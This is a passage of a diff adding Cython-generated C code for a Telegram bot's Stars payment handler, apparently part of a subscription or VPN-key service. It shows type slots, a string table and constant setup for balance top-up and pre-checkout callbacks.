/*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_21U68SOLOBOT, __pyx_k_21U68SOLOBOT, sizeof(__pyx_k_21U68SOLOBOT), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_kp_u_CRYPTO_HASH, __pyx_k_CRYPTO_HASH, sizeof(__pyx_k_CRYPTO_HASH), 0, 1, 0, 0}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_LabeledPrice, __pyx_k_LabeledPrice, sizeof(__pyx_k_LabeledPrice), 0, 0, 1, 1}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, + {&__pyx_n_s_PreCheckoutQuery, __pyx_k_PreCheckoutQuery, sizeof(__pyx_k_PreCheckoutQuery), 0, 0, 1, 1}, + {&__pyx_n_s_RUB_TO_XTR, __pyx_k_RUB_TO_XTR, sizeof(__pyx_k_RUB_TO_XTR), 0, 0, 1, 1}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_s_STARS_ROUTER, __pyx_k_STARS_ROUTER, sizeof(__pyx_k_STARS_ROUTER), 0, 0, 1, 1}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_n_u_XTR, __pyx_k_XTR, sizeof(__pyx_k_XTR), 0, 1, 0, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_n_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 1}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, + {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_n_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 1}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, + {&__pyx_n_s__38, __pyx_k__38, sizeof(__pyx_k__38), 0, 0, 1, 1}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_kp_u_amount_2, __pyx_k_amount_2, sizeof(__pyx_k_amount_2), 0, 1, 0, 0}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_answer_invoice, __pyx_k_answer_invoice, sizeof(__pyx_k_answer_invoice), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_stars, __pyx_k_choosing_amount_stars, sizeof(__pyx_k_choosing_amount_stars), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_currency, __pyx_k_currency, sizeof(__pyx_k_currency), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_s_delete, __pyx_k_delete, sizeof(__pyx_k_delete), 0, 0, 1, 1}, + {&__pyx_n_s_description, __pyx_k_description, sizeof(__pyx_k_description), 0, 0, 1, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_stars, __pyx_k_enter_custom_amount_stars, sizeof(__pyx_k_enter_custom_amount_stars), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_stars, __pyx_k_entering_custom_amount_stars, sizeof(__pyx_k_entering_custom_amount_stars), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_stars_pay, __pyx_k_handlers_payments_stars_pay, sizeof(__pyx_k_handlers_payments_stars_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_stars_pay_py, __pyx_k_handlers_payments_stars_pay_py, sizeof(__pyx_k_handlers_payments_stars_pay_py), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_kp_u_https_t_me_PremiumBot, __pyx_k_https_t_me_PremiumBot, sizeof(__pyx_k_https_t_me_PremiumBot), 0, 1, 0, 0}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_invoice_payload, __pyx_k_invoice_payload, sizeof(__pyx_k_invoice_payload), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_label, __pyx_k_label, sizeof(__pyx_k_label), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_ok, __pyx_k_ok, sizeof(__pyx_k_ok), 0, 0, 1, 1}, + {&__pyx_n_s_on_pre_checkout_query, __pyx_k_on_pre_checkout_query, sizeof(__pyx_k_on_pre_checkout_query), 0, 0, 1, 1}, + {&__pyx_n_s_on_successful_payment, __pyx_k_on_successful_payment, sizeof(__pyx_k_on_successful_payment), 0, 0, 1, 1}, + {&__pyx_n_s_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 0, 1, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_stars, __pyx_k_pay_stars, sizeof(__pyx_k_pay_stars), 0, 1, 0, 1}, + {&__pyx_n_s_payload, __pyx_k_payload, sizeof(__pyx_k_payload), 0, 0, 1, 1}, + {&__pyx_n_s_pre_checkout_query, __pyx_k_pre_checkout_query, sizeof(__pyx_k_pre_checkout_query), 0, 0, 1, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_prices, __pyx_k_prices, sizeof(__pyx_k_prices), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_stars, __pyx_k_process_callback_pay_stars, sizeof(__pyx_k_process_callback_pay_stars), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_provider_token, __pyx_k_provider_token, sizeof(__pyx_k_provider_token), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_u_stars, __pyx_k_stars, sizeof(__pyx_k_stars), 0, 1, 0, 1}, + {&__pyx_n_u_stars_2, __pyx_k_stars_2, sizeof(__pyx_k_stars_2), 0, 1, 0, 1}, + {&__pyx_n_u_stars_3, __pyx_k_stars_3, sizeof(__pyx_k_stars_3), 0, 1, 0, 1}, + {&__pyx_kp_u_stars_amount, __pyx_k_stars_amount, sizeof(__pyx_k_stars_amount), 0, 1, 0, 0}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_successful_payment, __pyx_k_successful_payment, sizeof(__pyx_k_successful_payment), 0, 0, 1, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_title, __pyx_k_title, sizeof(__pyx_k_title), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_kp_u_user_id_amount, __pyx_k_user_id_amount, sizeof(__pyx_k_user_id_amount), 0, 1, 0, 0}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 120, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/stars_pay.py":106 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_tuple__9 = PyTuple_Pack(2, __pyx_kp_u__8, __pyx_int_1); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__9); + __Pyx_GIVEREF(__pyx_tuple__9); + + /* "handlers/payments/stars_pay.py":162 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__22 = PyTuple_Pack(1, __pyx_kp_u__21); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__22); + __Pyx_GIVEREF(__pyx_tuple__22); + + /* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__31 = PyTuple_Pack(10, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists, __pyx_n_s_e); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__31); + __Pyx_GIVEREF(__pyx_tuple__31); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_callback_pay_stars, 32, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 32, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__32 = PyTuple_Pack(1, __pyx_kp_u_stars_amount); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__32); + __Pyx_GIVEREF(__pyx_tuple__32); + __pyx_tuple__33 = PyTuple_Pack(7, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_e, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__33); + __Pyx_GIVEREF(__pyx_tuple__33); + __pyx_codeobj__7 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__33, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_amount_selection, 102, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__7)) __PYX_ERR(0, 102, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__34 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__34); + __Pyx_GIVEREF(__pyx_tuple__34); + __pyx_codeobj__19 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__34, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_enter_custom_amount, 155, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__19)) __PYX_ERR(0, 155, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__35 = PyTuple_Pack(5, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 170, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + __pyx_codeobj__23 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__35, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_custom_amount_input, 170, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__23)) __PYX_ERR(0, 170, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ + __pyx_tuple__36 = PyTuple_Pack(1, __pyx_n_s_pre_checkout_query); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__36); + __Pyx_GIVEREF(__pyx_tuple__36); + __pyx_codeobj__27 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 1, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_on_pre_checkout_query, 208, 